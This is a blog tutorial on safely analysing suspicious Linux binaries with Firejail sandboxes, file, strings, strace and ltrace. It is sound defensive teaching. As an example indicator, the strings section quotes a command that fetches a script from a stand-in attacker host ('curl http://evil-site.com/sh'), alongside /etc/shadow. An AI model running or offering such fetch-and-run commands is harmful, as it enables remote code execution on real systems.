Linux Malware Analysis: Pro Tips for Using strace, ltrace, and Sandboxing

Security tutorial - IT technology blog
Security tutorial - IT technology blog

Real-world Scenario: Suspicious File in the /tmp Directory

Last week, while investigating a server with constant CPU spikes, I noticed a suspicious file named syslog_update sitting “comfortably” in /tmp. A quick check revealed that this file didn’t belong to any official system package.

Many newcomers are often curious enough to try running it or using the cat command to view its content. Don’t be so reckless! If it’s ransomware or a script that wipes your hard drive, you won’t get a second chance. Modern Linux malware is extremely sophisticated. They often masquerade as system processes like kworker or syslogd to deceive administrators.

Why You Should Absolutely Never Run Suspicious Files

Modern malware isn’t just about destruction. They have much more subtle and dangerous objectives:

  • Gaining Control: Setting up a reverse shell so hackers can penetrate deep into the system.
  • Turning Servers into Botnets: Participating in large-scale DDoS attack campaigns.
  • Cryptojacking: Consuming 90-100% of CPU resources to mine Monero (XMR).
  • Internal Spreading: Automatically scanning and attacking other servers within the same LAN.

Executing a suspicious file in a production environment is technical suicide. You need an isolated and secure analysis process.

Step 1: Setting Up an Isolated Environment (Sandbox)

Remember the golden rule: Never analyze malware on your primary workstation.

The best choice is a clean Virtual Machine (VM) running Ubuntu or Kali Linux. Create a Snapshot as soon as you finish installation. After you’re done “poking around,” simply revert to the old snapshot to wipe all traces of the malware.

You can use Docker or Firejail to quickly create a sandbox. But be careful. Docker shares the same kernel as the host machine. If the malware knows how to exploit a kernel vulnerability, it will perform a container escape and attack your physical machine immediately.

# Create a shell with restricted network and personal files using Firejail
firejail --private --net=none bash

This environment has no network and no real data, making it ideal for us to start scrutinizing.

Step 2: Static Analysis – Judging by Appearances

First, use available tools to check the file’s identity without executing it.

The file Command

This command helps identify the actual file format, preventing you from being misled by fake extensions.

file syslog_update

If the result returns ELF 64-bit, statically linked, stripped, this is an executable file with debug information removed. Analysis will be slightly more difficult because original function names have vanished.

The strings Command

This is my favorite weapon. It filters out readable character strings within a binary file. You might find the IP address of a Command and Control (C2) server, sensitive file paths, or hidden shell commands.

strings syslog_update | less

If you see strings like 185.x.x.x, /etc/shadow, or curl http://evil-site.com/sh, you know for sure you’re dealing with “malicious goods.”

Step 3: Dynamic Analysis with strace – Monitoring System Calls

When static analysis yields no results because the malware is obfuscated, turn to strace. This tool records every interaction between a process and the operating system kernel.

Disconnect the VM’s network before starting.

# Trace file opening and network connection behavior
strace -e trace=open,connect ./syslog_update

I once encountered malware that repeatedly called socket() and connect() to a strange IP via port 4444 immediately upon startup. Thanks to strace, I read its intentions without needing to be an Assembly expert.

A few useful flags you should know:

  • -f: Follow child processes (fork).
  • -o log.txt: Output results to a file for easy searching.

Step 4: Inspecting Libraries with ltrace

While strace watches the Kernel, ltrace focuses on library calls to shared libraries like libc.

ltrace ./syslog_update

If the malware uses strcmp to check a password or getenv to read system configurations, ltrace will expose it all. This is a lightning-fast way to find “backdoor passwords” in simple bots.

Real-world Workflow: Combine and Isolate

After years of facing Linux malware, I’ve condensed it into this safe 4-step workflow:

  1. Isolation: Always use a VM in Host-only mode or disconnect the network entirely.
  2. File Hashing: Use sha256sum and check it on VirusTotal. In 90% of cases, the community already has information on it.
  3. Monitoring: Open htop in an adjacent window to see the malware’s CPU/RAM consumption.
  4. Log Inspection: Check /var/log/syslog immediately after running to see if the malware attempts to overwrite system logs.

Malware analysis is a battle of wits that requires meticulousness. Just one moment of negligence—running a file on your real machine—and you could lose all your data or have to reinstall the entire server. I hope these insights help you stay confident and alert when encountering “uninvited guests” on Linux.

Share: